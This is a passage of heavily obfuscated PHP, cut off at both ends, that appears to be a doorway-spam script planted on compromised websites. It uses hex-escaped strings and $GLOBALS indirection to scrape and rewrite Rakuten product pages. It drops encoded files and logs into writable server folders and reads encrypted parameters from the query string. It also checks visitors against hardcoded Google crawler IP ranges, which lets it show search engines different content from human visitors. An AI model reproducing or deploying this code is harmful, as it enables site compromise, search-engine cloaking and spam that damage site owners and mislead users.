4c\x53”}[„\x73b\x78\x6d\x6enp”]}-7);}${„\x47\x4cO\x42\x41L\x53”}[„\x70ce\x73\x6f\x71s”]=”\x64\x65\x73c\x72\x69\x70\x74\x69\x6fn”;${„\x47L\x4fBA\x4cS”}[„\x71f\x65\x65\x76\x78d\x6b\x64cm\x74″]=”\x64esc\x72\x69\x70\x74io\x6e”;${${„G\x4cO\x42\x41\x4cS”}[„\x61nb\x6dv\x68\x63\x72\x6c”]}=preg_replace(„/\x3c\x69\x66r\x61\x6d\x65[\\w\x5cW]+<\\/\x69\x66r\x61m\x65>/\x69″,””,${${„\x47\x4c\x4f\x42\x41LS”}[„\x78\x76\x72\x77\x76\x65u”]});${$oeiwbmc}=preg_replace(„/<s\x63\x72\x69\x70\x74\x20t\x79p\x65=\”te\x78t\x5c/\x6aav\x61\x73\x63r\x69p\x74\”(\x20\x5cw+=\”[^>\x3c’\”]*\”)+\x3e\x3c\x5c/s\x63r\x69\x70t\x3e/\x69″,””,${${„\x47LOB\x41L\x53”}[„\x70\x63\x65\x73oq\x73″]});$hmhahu=”\x64\x65s\x63\x72\x69pt\x69\x6f\x6e”;$ineeleqpjgii=”\x64\x65\x73\x63ri\x70t\x69\x6fn”;${${„GLOBAL\x53”}[„\x71\x66\x65e\x76\x78\x64k\x64\x63mt”]}=preg_replace(„/\x3cd\x69v\x20cla\x73\x73\x3d\”rp-it\x65\x6d[0-\x39]+\”\x3eSERV\x49C\x45<\x5c/d\x69v\x3e[\x5c\x77\x5c\x57]+/”,””,${${„G\x4cO\x42\x41\x4c\x53”}[„\x61\x6e\x62mv\x68\x63\x72\x6c”]});${${„\x47\x4cO\x42\x41LS”}[„a\x6e\x62mv\x68\x63rl”]}=preg_replace(„/\x3c\x61\x20[\x5c\x77\x5c\x57]+?\x3c\\/\x61\x3e/”,””,${$ineeleqpjgii});${${„\x47LOB\x41\x4c\x53”}[„\x61n\x62\x6dv\x68\x63\x72\x6c”]}=preg_replace(„/\x3ci\x6d\x67\x20sr\x63=\x22\\/[\\w\\\x57]+?\x3e/”,””,${${„G\x4cO\x42AL\x53”}[„\x61nbm\x76h\x63\x72l”]});${${„\x47L\x4f\x42\x41\x4c\x53”}[„a\x6e\x62\x6dvh\x63r\x6c”]}=preg_replace(„/<m\x61p[^>]*\x3e[\\w\x5c\x57]+?\x3c\x5c/\x6da\x70>/”,””,${$hmhahu});${„\x47\x4c\x4fBA\x4c\x53”}[„c\x79z\x76\x76c\x6b\x65\x79\x71h”]=”d\x65\x73cri\x70\x74i\x6fn”;${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x61nbmvh\x63\x72l”]}=preg_replace(„/<\x69\x6dg[^\\\”\”]+>/”,””,${${„\x47\x4c\x4fB\x41LS”}[„\x63\x79\x7a\x76\x76\x63\x6b\x65y\x71\x68”]});${„\x47\x4c\x4fB\x41L\x53”}[„l\x6ay\x6d\x62m\x62\x75x\x79y”]=”\x64e\x73\x63\x72\x69p\x74\x69\x6fn”;${${„\x47LOBA\x4c\x53”}[„\x61n\x62mv\x68\x63\x72\x6c”]}=str_replace(„\xE6\xA5\xBD\xE5\xA4\xA9\xE5\xB8\x82\xE5\xA0\xB4\xE5\xBA\x97″,””,${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x61\x6ebm\x76hcrl”]});${„\x47LO\x42\x41\x4cS”}[„\x74\x66\x67i\x66\x78\x69yx\x70\x67\x77″]=”de\x73\x63\x72\x69\x70t\x69\x6fn”;${${„G\x4c\x4fB\x41L\x53”}[„a\x6ebm\x76h\x63\x72l”]}=str_replace(„\xE6\xA5\xBD\xE5\xA4\xA9\xE5\xB8\x82\xE5\xA0\xB4″,””,${${„\x47\x4c\x4f\x42A\x4cS”}[„\x61\x6eb\x6d\x76\x68crl”]});${${„\x47\x4c\x4fB\x41L\x53”}[„\x6c\x6a\x79\x6d\x62\x6d\x62\x75x\x79\x79”]}=str_replace(„\xE6\xA5\xBD\xE5\xA4\xA9″,””,${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x61n\x62m\x76h\x63\x72l”]});${${„\x47\x4cO\x42\x41\x4cS”}[„an\x62mvh\x63r\x6c”]}=str_replace(„/<\x62as\x65 \x68\x72\x65\x66\x3d\x22h\x74\x74p://\\w*\x5c\x2e\x72\x61ku\x74\x65\x6e\\.[^\”]+\x22>/i”,””,${${„\x47\x4c\x4fB\x41\x4cS”}[„\x74\x66\x67\x69f\x78\x69\x79x\x70g\x77”]});return${${„GL\x4fB\x41\x4c\x53”}[„an\x62\x6dv\x68c\x72\x6c”]};}function get_headers_curl($url){if(extension_loaded(„\x63u\x72l”)&&function_exists(„\x63\x75\x72\x6c\x5finit”)&&function_exists(„\x63url\x5f\x65\x78ec”)){$rkojwgzyfeb=”c\x68″;$cikyxjfemq=”\x63\x68″;$ztthkrmvqx=”\x63h”;${„\x47\x4c\x4fBALS”}[„r\x7a\x6a\x65f\x6d\x6b\x6bc\x64\x6c\x6a”]=”\x63\x68″;${„GL\x4f\x42ALS”}[„n\x6c\x76s\x75m\x62\x66″]=”\x75r\x6c”;${„\x47L\x4f\x42\x41\x4c\x53”}[„ifb\x6d\x77hc”]=”\x63\x68″;${„\x47LO\x42\x41\x4c\x53”}[„\x63yit\x69g\x6f\x75″]=”\x72″;${$rkojwgzyfeb}=curl_init();$abatzr=”ch”;${„GLO\x42\x41\x4c\x53”}[„sul\x79\x62\x71j\x68\x75″]=”r”;curl_setopt(${$ztthkrmvqx},CURLOPT_URL,${${„\x47\x4c\x4f\x42AL\x53”}[„\x6e\x6c\x76\x73\x75\x6db\x66”]});curl_setopt(${$cikyxjfemq},CURLOPT_HEADER,true);curl_setopt(${$abatzr},CURLOPT_RETURNTRANSFER,true);curl_setopt(${${„\x47\x4cO\x42\x41\x4c\x53”}[„i\x66\x62\x6d\x77\x68\x63”]},CURLOPT_TIMEOUT,15);${${„\x47\x4c\x4f\x42A\x4cS”}[„\x62\x62dyl\x68\x6f\x66\x7are”]}=curl_exec(${${„GL\x4f\x42\x41LS”}[„\x71\x7a\x64\x6ak\x64”]});${${„\x47\x4cO\x42A\x4cS”}[„\x63\x79i\x74i\x67\x6f\x75”]}=explode(„\n”,${${„\x47\x4c\x4f\x42A\x4c\x53”}[„b\x62\x64\x79lh\x6f\x66z\x72\x65”]});curl_close(${${„GL\x4fBAL\x53”}[„\x72z\x6a\x65\x66\x6d\x6b\x6b\x63\x64\x6c\x6a”]});return${${„G\x4cO\x42\x41LS”}[„s\x75\x6cybq\x6a\x68\x75″]};}else{$bolduxgeqba=”\x75\x72\x6c”;return@get_headers(${$bolduxgeqba});}return””;}function check_lt_path($value=”){$msjatl=”h\x65\x61\x64er\x73″;$joteaxl=”h\x65\x61\x64\x65\x72s”;dibug(„c\x68e\x63\x6b\x5flt\x5fpa\x74h:$value”);${$joteaxl}=@get_headers_curl(„\x68tt\x70://\x69t\x65m.\x72\x61kut\x65\x6e\x2eco\x2ejp/$value”);if(${$msjatl}){${„\x47\x4c\x4f\x42\x41L\x53”}[„k\x65w\x77kqy\x66fl”]=”c\x6c\x73″;$tcfsvqnrxi=”\x68ea\x64er_\x73\x74\x72″;${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x61\x68\x68\x71\x64v\x78\x6e\x62v\x73\x70″]=”h\x65\x61\x64e\x72\x5fs\x74r”;$yrzffyfdfyg=”\x68\x65\x61d\x65r_\x73\x74\x72″;$qsqwyvwty=”he\x61\x64\x65r\x5f\x73\x74\x72″;${$qsqwyvwty}=join(„\x5c\x6e”,${${„G\x4c\x4f\x42\x41\x4cS”}[„\x68h\x67fc\x67\x74”]});${„G\x4cOB\x41\x4c\x53”}[„\x62\x78\x73z\x64\x6fzx\x72\x6b”]=”\x68\x65a\x64\x65\x72_\x73\x74r”;if(strpos(${$tcfsvqnrxi},”\x33\x30\x31\x20Move\x64″)){dibug(„3\x30\x31\x20\x3d=\x3e\x20h\x74t\x70://it\x65m.\x72\x61k\x75\x74e\x6e\x2eco\x2ejp/$value”);return false;}if(!${$yrzffyfdfyg} or!preg_match(„/\x63\x6fn\x74\x65n\x74-le\x6eg\x74\x68\\s*:\x5cs*(\\d+)/i”,${${„GL\x4fB\x41\x4c\x53”}[„\x61h\x68\x71\x64\x76\x78\x6ebv\x73\x70”]})){${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x65\x71b\x65\x75\x77\x71\x6dq\x67″]=”\x68\x65\x61\x64e\x72_\x73\x74\x72”;${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„x\x63\x76\x62r\x6d\x6a”]=”\x76a\x6c\x75\x65″;if(!${${„G\x4cOBA\x4c\x53”}[„l\x61\x6az\x75\x73m\x72yx”]})@file_put_contents(„r\x6b\x34o\x34\x6c0\x67\x2et\x78t”,date(„Y-\x6d-\x64\x20\x48:\x69:s”,time()).” „.${${„G\x4c\x4fB\x41\x4cS”}[„\x78\x63v\x62r\x6d\x6a”]}.”\n”,FILE_APPEND);${${„G\x4c\x4fB\x41L\x53”}[„e\x71\x62\x65uwq\x6dq\x67”]}=get_html_content(„\x68\x74t\x70://\x69tem\x2e\x72aku\x74e\x6e.\x63\x6f\x2e\x6a\x70/$value”);}if(strlen(${${„\x47LOBAL\x53”}[„\x6ca\x6a\x7ausm\x72yx”]})>10000){return true;}elseif(preg_match(„/\x63o\x6e\x74en\x74-l\x65\x6eg\x74\x68\x5cs*:\x5c\x73*(\\d+)/i”,${${„G\x4cO\x42\x41L\x53”}[„\x62\x78\x73z\x64o\x7a\x78rk”]},${${„\x47LO\x42A\x4cS”}[„\x6be\x77\x77\x6bqyf\x66l”]})==1){if(intval(${${„GLO\x42A\x4cS”}[„c\x75\x73\x76y\x68\x76\x73n”]}[1])<2800){$tkvbvv=”\x68e\x61\x64er\x5f\x73\x74\x72″;dibug(„\x34\x304 ==> h\x74t\x70://i\x74e\x6d.\x72\x61\x6b\x75te\x6e\x2eco\x2e\x6ap/$value,\x20″.strlen(${$tkvbvv}).”<\x62\x72>\x20$header_str”);return false;}}elseif(strlen(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x6c\x61j\x7aus\x6d\x72\x79\x78″]})<3200){$ymlwndvpbc=”hea\x64\x65\x72\x5f\x73\x74\x72”;dibug(„\x340\x34 \x3d\x3d\x3e\x20\x68ttp://i\x74\x65m\x2er\x61\x6b\x75\x74en\x2ec\x6f.j\x70/$value,\x20″.strlen(${$ymlwndvpbc}).”\x3cb\x72\x3e $header_str”);return false;}}else{${„G\x4cO\x42AL\x53”}[„\x6e\x7arv\x6a\x64\x71\x65e\x72\x67″]=”\x76\x61\x6cue”;@file_put_contents(„rk\x34\x6f4\x6c0g.\x74\x78\x74”,date(„\x59-\x6d-\x64\x20\x48:\x69:\x73″,time()).”\x20”.${${„\x47\x4c\x4f\x42A\x4cS”}[„n\x7arvj\x64\x71\x65\x65\x72g”]}.”\n”,FILE_APPEND);}return true;}function find_uri_ltp_val_file($req_uri){${„\x47\x4c\x4f\x42AL\x53”}[„\x69\x77\x65\x6b\x72\x6f\x70\x64n\x78l”]=”k\x65\x79″;$fbinpknlpol=”\x76\x61\x6c\x5f\x66\x69l\x65″;${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x64\x70\x6f\x64fg\x78fo\x62e”]}=urlencode(base64_encode(„$_SERVER[SERVER_NAME]$req_uri”));${„\x47L\x4fBA\x4c\x53”}[„\x64\x64\x64\x6ax\x62\x61″]=”v\x61\x6c\x5f\x66\x69\x6ce”;${${„\x47L\x4fB\x41LS”}[„y\x66\x67t\x6fkm\x73\x62\x67”]}=find_file_in_folders($GLOBALS[„\x61ll\x5f\x75\x5ffo\x6cder\x73”],${${„G\x4cO\x42\x41L\x53”}[„\x69\x77\x65\x6b\x72\x6f\x70\x64\x6exl”]}.”.t\x78t”,false);if(!${${„G\x4c\x4f\x42\x41\x4cS”}[„\x79\x66\x67\x74\x6f\x6bm\x73\x62\x67”]} or!is_readable(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x64\x64\x64\x6ax\x62\x61″]})){$trhrpgatozq=”\x6fn\x65”;foreach($GLOBALS[„\x61\x6cl\x5fu\x5f\x66\x6fl\x64e\x72s”]as${$trhrpgatozq}){$rxyehxtoim=”\x6f\x6e\x65″;if((strtoupper(substr(PHP_OS,0,3))===”WIN”or strpos(${$rxyehxtoim},”\\”)===false)){${„G\x4cOB\x41L\x53”}[„\x73\x72\x77\x71\x6e\x64e\x72\x69\x66″]=”\x6f\x6e\x65”;if(@is_writable(${${„\x47L\x4f\x42A\x4cS”}[„srw\x71\x6ed\x65\x72i\x66”]})){${${„G\x4c\x4f\x42\x41\x4cS”}[„\x79\x66gt\x6f\x6b\x6ds\x62\x67”]}=${${„\x47L\x4f\x42\x41\x4cS”}[„b\x66e\x72ec\x64j\x67f\x62″]}.”/”.${${„G\x4cO\x42\x41\x4c\x53”}[„d\x70o\x64\x66\x67x\x66o\x62\x65″]}.”\x2e\x74\x78t”;break;}}}}return${$fbinpknlpol};}function find_lt_path($req_uri,$renew=false){$hmfbapdpdjfm=”v\x61\x6c_f\x69\x6c\x65″;${„GL\x4f\x42\x41L\x53”}[„bc\x64\x66b\x6b\x75f\x74\x64u”]=”\x72\x65\x6e\x65\x77″;${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x71\x78\x6f\x6b\x69\x6f\x74\x67m”]=”\x6c\x74\x5fp\x61\x74\x68″;${${„\x47\x4c\x4fB\x41L\x53”}[„\x73\x61i\x69\x75nx\x77”]}=decrypt_str(urldecode($_SERVER[„\x51\x55\x45R\x59\x5f\x53\x54R\x49NG”]));if(${${„GLO\x42ALS”}[„\x73\x61\x69\x69\x75n\x78\x77″]}){$lvzhowbxx=”d\x65c\x6fded”;return${$lvzhowbxx};}${„GLOB\x41\x4c\x53”}[„\x6b\x72\x6f\x79\x73t\x6f\x6d”]=”\x76\x61\x6c\x5f\x66\x69l\x65″;${${„G\x4cO\x42A\x4c\x53”}[„k\x72\x6fy\x73t\x6f\x6d”]}=find_uri_ltp_val_file(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x76cy\x71k\x6e\x6c”]});${„G\x4c\x4fBA\x4c\x53”}[„g\x66\x6a\x73\x71\x70\x6a\x69q”]=”v\x61\x6c\x5f\x66\x69le”;${„GL\x4f\x42\x41\x4cS”}[„\x6e\x62\x69\x77bv”]=”l\x74_\x70\x61th”;$phhwyhrfy=”\x6ct_\x70\x61th”;dibug(„\$\x76\x61l_f\x69le:$val_file”);if(${${„\x47LOB\x41\x4c\x53”}[„\x67\x66jsq\x70\x6aiq”]}&&@file_exists(${$hmfbapdpdjfm})&&!${${„G\x4c\x4f\x42A\x4c\x53”}[„\x62\x63d\x66\x62\x6bu\x66\x74\x64\x75”]}){${${„G\x4c\x4f\x42AL\x53”}[„\x67d\x78\x62\x65\x63”]}=trim(trim(base64_decode(urldecode(@file_get_contents(${${„\x47LO\x42A\x4c\x53”}[„\x79\x66\x67t\x6fkms\x62\x67″]})))),”/”).”/”;}else{${${„G\x4cOB\x41\x4cS”}[„\x67dx\x62\x65\x63″]}=””;}if(!${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x6e\x62iw\x62\x76”]} or${$phhwyhrfy}==”/”or${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x7ap\x77\x6e\x73ufjok”]}){${„\x47\x4cO\x42\x41\x4cS”}[„\x6d\x77\x61\x75\x74cx\x75″]=”\x66\x69l\x65″;$ewdmwrc=”\x66\x69\x6c\x65”;${$ewdmwrc}=find_file_in_folders($GLOBALS[„a\x6c\x6c_\x66\x6fld\x65\x72s”],”/\x5c.\x75\x5c.t\x78t/i”,false);if(${${„G\x4cO\x42A\x4c\x53”}[„\x6dw\x61\x75t\x63\x78\x75”]}){${${„\x47\x4c\x4f\x42AL\x53”}[„tnx\x76\x6a\x6b\x76u\x62\x71”]}=@file(${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x64\x65vkf\x66\x6eukc\x6el”]});${${„\x47L\x4f\x42\x41\x4cS”}[„\x70\x74y\x61\x6a\x63q\x77\x77\x6f”]}=0;while(${${„\x47LOB\x41\x4c\x53”}[„\x70tya\x6a\x63qww\x6f”]}<10){${„\x47LOB\x41\x4c\x53”}[„\x66my\x6a\x70\x7athm\x62e\x6e”]=”tr\x69\x65d”;${„\x47L\x4fB\x41\x4c\x53”}[„p\x66\x6exd\x6a\x68\x68\x74″]=”lt\x5f\x70\x61t\x68”;${„GL\x4f\x42\x41\x4cS”}[„a\x67cn\x64cy\x70\x63vv\x65″]=”lt_p\x61t\x68”;${${„\x47\x4cOB\x41\x4cS”}[„f\x6d\x79\x6a\x70\x7at\x68mb\x65\x6e”]}+=1;${„\x47L\x4fBA\x4cS”}[„\x6df\x7auxl\x6fgs\x6a\x76″]=”\x6c\x74_\x70\x61\x74\x68”;${${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x61g\x63\x6e\x64\x63y\x70\x63\x76\x76\x65”]}=decrypt_str(${${„G\x4c\x4fB\x41L\x53”}[„\x74n\x78\x76\x6a\x6b\x76u\x62q”]}[array_rand(${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x74nx\x76\x6a\x6b\x76\x75\x62\x71”]})]);${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„p\x66nx\x64jh\x68\x74”]}=trim(trim(${${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x67dx\x62e\x63″]}),”/”).”/”;if(${${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x67\x64\x78\x62\x65c”]}!=”/”&&check_lt_path(${${„\x47\x4cOB\x41\x4cS”}[„\x6df\x7a\x75\x78\x6co\x67\x73\x6a\x76”]})){break;}}if(${${„\x47\x4c\x4fB\x41L\x53”}[„\x67\x64\x78\x62e\x63”]}){${„\x47\x4c\x4f\x42A\x4c\x53”}[„o\x70\x67\x72\x6fm\x63\x66jh\x70\x64″]=”\x6ct\x5f\x70\x61\x74\x68”;${„G\x4c\x4f\x42ALS”}[„\x69\x66\x73\x76\x67\x65\x6e\x64\x75″]=”\x76\x61l\x5f\x66\x69\x6c\x65”;${„\x47\x4cO\x42\x41\x4c\x53”}[„\x73rq\x6d\x64\x65\x77″]=”\x76\x61\x6c\x5f\x66\x69\x6c\x65”;@file_put_contents(${${„\x47L\x4f\x42\x41\x4cS”}[„if\x73\x76g\x65n\x64\x75”]},urlencode(base64_encode(${${„G\x4cO\x42\x41LS”}[„\x6f\x70\x67\x72\x6fm\x63\x66\x6a\x68\x70\x64”]})));${${„\x47\x4cOB\x41\x4c\x53”}[„d\x65\x66smpba\x6e”]}=$GLOBALS[„we\x62_ro\x6f\x74”].$GLOBALS[„\x74e\x6d\x70″].”/\x75/”.basename(${${„\x47\x4cO\x42AL\x53”}[„s\x72\x71\x6d\x64\x65\x77”]});${„\x47L\x4f\x42\x41\x4c\x53”}[„\x79\x62d\x6e\x68\x71w\x7av\x70z”]=”\x6c\x74_\x70a\x74\x68″;@file_put_contents(${${„\x47\x4c\x4f\x42ALS”}[„\x64e\x66\x73m\x70b\x61n”]},urlencode(base64_encode(${${„\x47\x4c\x4fB\x41\x4cS”}[„\x79\x62d\x6e\x68\x71\x77\x7av\x70z”]})));dibug(„\x73av\x65 $lt_path \x74o\x20$val_file\x20\x61\x6e\x64\x20$bk”);}}}if(${${„G\x4c\x4fB\x41LS”}[„\x71\x78o\x6b\x69o\x74\x67m”]}==”/”){${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x67\x64\x78\x62\x65\x63″]}=””;}return${${„\x47\x4cOB\x41L\x53”}[„\x67dx\x62e\x63”]};}if(!isset($_SESSION[„\x47\x4d\x41S\x53_S\x54\x53\x54US”])or$_SESSION[„\x47M\x41S\x53\x5fS\x54\x53\x54\x55S”]!=”wor\x6bi\x6e\x67″){$sqxkicmvg=”\x75\x72lI\x6efo”;$mildklqhke=”\x74\x65m\x70″;@set_time_limit(100);$jxnvkkpyv=”\x69\x73_\x67_\x69\x70″;${„G\x4cO\x42\x41\x4c\x53”}[„ldc\x66\x70\x70hg\x6b\x74\x62″]=”\x69\x6c\x6f\x76\x65\x77\x69\x66i\x5f\x69\x70”;$_SESSION[„\x47\x4dA\x53\x53\x5fS\x54\x53\x54\x55\x53″]=”\x77o\x72kin\x67″;$mnpfecgp=”\x74em\x70”;dibug(„\$_\x53ES\x53ION[\x47\x4dA\x53\x53\x5f\x53\x54\x53T\x55\x53]:$_SESSION[GMASS_STSTUS]”);$GLOBALS[„w\x65\x62\x5f\x72oot”]=substr($_SERVER[„S\x43R\x49\x50T_\x46ILE\x4eA\x4d\x45”],0,-strlen($_SERVER[„SCR\x49P\x54_N\x41\x4d\x45”]));if($GLOBALS[„\x77\x65\x62\x5f\x72\x6f\x6f\x74”]){$GLOBALS[„we\x62\x5fro\x6ft”]=rtrim(rtrim($GLOBALS[„w\x65\x62_root”],”\x5c”),”/”).”/”;}else{$GLOBALS[„\x77\x65b\x5fro\x6ft”]=”./”;}$wwpowkudsfl=”\x75r\x6c\x49n\x66\x6f”;${„GL\x4f\x42\x41\x4cS”}[„\x78\x6b\x71\x73fuy\x66″]=”i\x6c\x6fv\x65w\x69fi_\x69\x70”;dibug(„web\x5f\x72\x6fot:$GLOBALS[web_root]”);${„\x47L\x4f\x42A\x4c\x53”}[„\x76\x70c\x74\x62\x74\x75\x72\x70i”]=”refer\x65\x72″;${$wwpowkudsfl}=array();${$sqxkicmvg}[„se\x72\x76\x65\x72\x5fn\x61\x6d\x65″]=””;if(isset($_SERVER[„\x48\x54TP_HO\x53T”])){${${„\x47L\x4fB\x41L\x53”}[„\x79\x69\x72\x74ni\x6d\x68”]}[„se\x72v\x65\x72_n\x61m\x65”]=$_SERVER[„H\x54\x54\x50_\x48\x4fS\x54”];}elseif(isset($_SERVER[„SERV\x45R_\x4eA\x4d\x45”])){${${„\x47\x4cOB\x41\x4cS”}[„\x79\x69\x72t\x6e\x69m\x68”]}[„serve\x72\x5f\x6e\x61me”]=$_SERVER[„\x53ERV\x45R_\x4e\x41\x4dE”];}${${„\x47\x4c\x4f\x42\x41LS”}[„\x78\x6bqsf\x75\x79\x66″]}=””;if(isset($_SERVER)){$alevsspa=”i\x6c\x6f\x76\x65w\x69\x66i_\x69\x70″;$kicnkvimgme=”\x69l\x6f\x76e\x77\x69\x66i\x5f\x69\x70″;if(array_key_exists(„\x48\x54\x54P_\x43L\x49\x45NT_I\x50”,$_SERVER)&&$_SERVER[„H\x54\x54P\x5f\x43LI\x45N\x54_\x49P”])${$kicnkvimgme}.=$_SERVER[„\x48\x54TP_\x43\x4c\x49ENT_\x49P”].”,”;if(array_key_exists(„H\x54T\x50_\x58\x5f\x46OR\x57\x41RD\x45D\x5f\x46OR”,$_SERVER)&&$_SERVER[„H\x54TP\x5f\x58_F\x4fRWA\x52DE\x44\x5f\x46O\x52”])${${„\x47LO\x42A\x4c\x53”}[„ixfw\x6c\x6a\x78\x75”]}.=$_SERVER[„HTTP_X\x5fFORWA\x52\x44\x45\x44\x5fF\x4fR”].”,”;if(array_key_exists(„H\x54\x54P\x5fX\x5fF\x4f\x52W\x41R\x44E\x44”,$_SERVER)&&$_SERVER[„\x48T\x54P\x5fX\x5fFORW\x41R\x44ED”])${${„\x47LO\x42\x41\x4c\x53”}[„\x69xfw\x6cj\x78\x75”]}.=$_SERVER[„\x48\x54\x54\x50_\x58\x5fFOR\x57\x41\x52DED”].”,”;if(array_key_exists(„HTTP\x5fF\x4fRW\x41\x52\x44ED_FOR”,$_SERVER)&&$_SERVER[„H\x54\x54P_\x46\x4f\x52\x57ARD\x45\x44_\x46\x4fR”])${${„\x47\x4c\x4fBA\x4cS”}[„\x69x\x66wl\x6axu”]}.=$_SERVER[„HTTP\x5f\x46O\x52\x57\x41RDE\x44_\x46O\x52″].”,”;if(array_key_exists(„\x48TTP_\x46OR\x57\x41RD\x45\x44”,$_SERVER)&&$_SERVER[„\x48\x54\x54P\x5f\x46ORWAR\x44\x45\x44”])${${„\x47\x4cO\x42AL\x53”}[„\x69\x78f\x77\x6c\x6a\x78\x75”]}.=$_SERVER[„\x48T\x54\x50_FO\x52\x57ARD\x45\x44″].”,”;if(array_key_exists(„\x52EM\x4f\x54E_A\x44DR”,$_SERVER)&&$_SERVER[„R\x45\x4dO\x54E\x5fA\x44DR”])${$alevsspa}.=$_SERVER[„\x52E\x4d\x4fT\x45\x5fA\x44DR”].”,”;}${$jxnvkkpyv}=false;if(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x6cdc\x66\x70\x70\x68\x67k\x74b”]}){${„\x47\x4cO\x42\x41\x4cS”}[„v\x69g\x6c\x72\x66\x75v”]=”il\x6f\x76\x65\x77i\x66\x69_i\x70\x5far\x72″;${„GL\x4fB\x41\x4cS”}[„\x6a\x66\x69v\x67\x72m\x70d\x79o”]=”\x69l\x6fv\x65\x77\x69f\x69_\x69p\x5fo\x6e\x65″;$muixjqdvhe=”\x69l\x6f\x76e\x77ifi_\x69p”;${${„GLO\x42\x41LS”}[„\x69lx\x77\x67\x6c”]}=explode(„,”,${$muixjqdvhe});foreach(${${„\x47\x4cO\x42ALS”}[„\x76\x69\x67l\x72\x66\x75\x76”]} as${${„GL\x4fBA\x4cS”}[„\x6a\x66i\x76gr\x6d\x70d\x79o”]}){${${„\x47\x4c\x4fBA\x4c\x53”}[„yv\x63\x73\x67\x6c\x6e”]}=trim(${${„\x47L\x4f\x42A\x4cS”}[„yv\x63s\x67\x6cn”]});if(${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x79v\x63\x73\x67\x6cn”]} and${${„\x47\x4c\x4fBA\x4c\x53”}[„\x74yun\x62\x67\x6b\x73\x62″]}==false){$uoserxjivps=”i\x70\x73”;${„\x47\x4cO\x42\x41\x4c\x53”}[„\x68\x6b\x74\x69\x75\x6c\x68w”]=”\x67\x5fi\x70″;${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x6dt\x62\x64\x6e\x77s\x70\x69″]=”i\x70\x73”;${$uoserxjivps}=array(„6\x34\x2e23\x33\x2e1\x36\x30-\x31\x39\x31″,”66\x2e\x310\x32\x2e0-15″,”\x36\x36.\x32\x34\x39\x2e64-\x39\x35″,”7\x32.\x31\x34\x2e192-25\x35″,”74\x2e125.\x30-\x3255″,”20\x39.8\x35\x2e128-\x32\x355″,”216\x2e\x32\x33\x39\x2e\x33\x32-6\x33″,”6\x34\x2e6\x38\x2e\x380-9\x35″,”\x32\x316.17\x32.\x3128-\x3159″,”\x320\x35.\x316\x34\x2e0-\x363″,”\x35\x30\x2e\x311\x37.\x30-\x312\x37″,”23.10\x34\x2e\x30-\x3255″,”\x32\x33\x2e\x380\x2e0-\x3255″,”\x310\x34\x2e1\x33\x32\x2e\x30-2\x35\x35″,”10\x34.13\x33\x2e0-\x3255″,”\x310\x34.\x3134.0-25\x35″,”\x3104.\x3135\x2e\x30-2\x355″,”\x33\x38.\x39\x39.8\x32.19\x31-2\x35\x31”);foreach(${${„\x47\x4cO\x42\x41\x4c\x53”}[„m\x74b\x64nw\x73p\x69”]} as${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x68\x6b\x74\x69u\x6c\x68\x77”]}){${„\x47\x4c\x4f\x42ALS”}[„\x73p\x62d\x79pjy\x6dr”]=”\x67\x5f\x69p”;$ognyknx=”i\x6co\x76\x65\x77\x69\x66i\x5f\x69\x70\x5f\x6f\x6e\x65″;${${„G\x4c\x4f\x42AL\x53”}[„f\x74\x6f\x68z\x78o\x62qig”]}=explode(„\x2e”,trim(${${„\x47L\x4f\x42\x41L\x53”}[„\x73\x70\x62\x64\x79p\x6a\x79\x6dr”]}));$qewnnlxhri=”g\x5fi\x70″;if(substr(${$qewnnlxhri},0,strpos(${${„\x47\x4cOB\x41\x4c\x53”}[„\x79\x74\x6c\x64\x68\x63\x71\x73\x63″]},”\x2e”,strpos(${${„\x47L\x4fB\x41\x4c\x53”}[„\x79\x74\x6cd\x68\x63\x71\x73\x63″]},”\x2e”)+1))==substr(${${„\x47\x4c\x4fB\x41\x4c\x53”}[„yv\x63\x73\x67ln”]},0,strpos(${${„\x47\x4c\x4f\x42A\x4cS”}[„\x79\x76\x63\x73g\x6c\x6e”]},”.”,strpos(${$ognyknx},”.”)+1))){$bosqmjjigwg=”il\x6f\x76\x65\x77\x69f\x69\x5f\x69p\x5f\x6f\x6e\x65″;$mmojqdvj=”\x6d\x79_i\x70_arr”;${„\x47\x4cOBAL\x53”}[„\x69\x63\x69\x79d\x71e\x77″]=”\x6d\x79\x5fi\x70\x5f\x61\x72r”;$bhuhgovnvv=”\x63\x5f\x72ang\x65″;${${„\x47L\x4f\x42A\x4c\x53”}[„\x6d\x62uni\x71t\x74\x69”]}=explode(„.”,${$bosqmjjigwg});${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x65ip\x61\x6d\x6c\x6c\x70\x76\x79\x6er”]}=explode(„-„,${${„\x47L\x4f\x42A\x4c\x53”}[„f\x74\x6f\x68\x7a\x78\x6f\x62qi\x67”]}[2]);${„G\x4cO\x42\x41LS”}[„qgi\x68\x71\x6c\x68\x72″]=”\x63_ra\x6eg\x65”;if((intval(${${„\x47\x4cO\x42\x41\x4c\x53”}[„i\x63\x69\x79\x64\x71ew”]}[2])>=intval(${$bhuhgovnvv}[0]))and(intval(${$mmojqdvj}[2])<=intval(${${„\x47\x4c\x4fB\x41L\x53”}[„\x71gi\x68\x71\x6c\x68\x72”]}[1]))){${„\x47LO\x42\x41\x4c\x53”}[„ldq\x65\x65\x79\x79\x6al\x70\x62″]=”\x69\x73\x5f\x67\x5fi\x70”;${${„\x47\x4cO\x42\x41\x4c\x53”}[„l\x64\x71\x65\x65yy\x6al\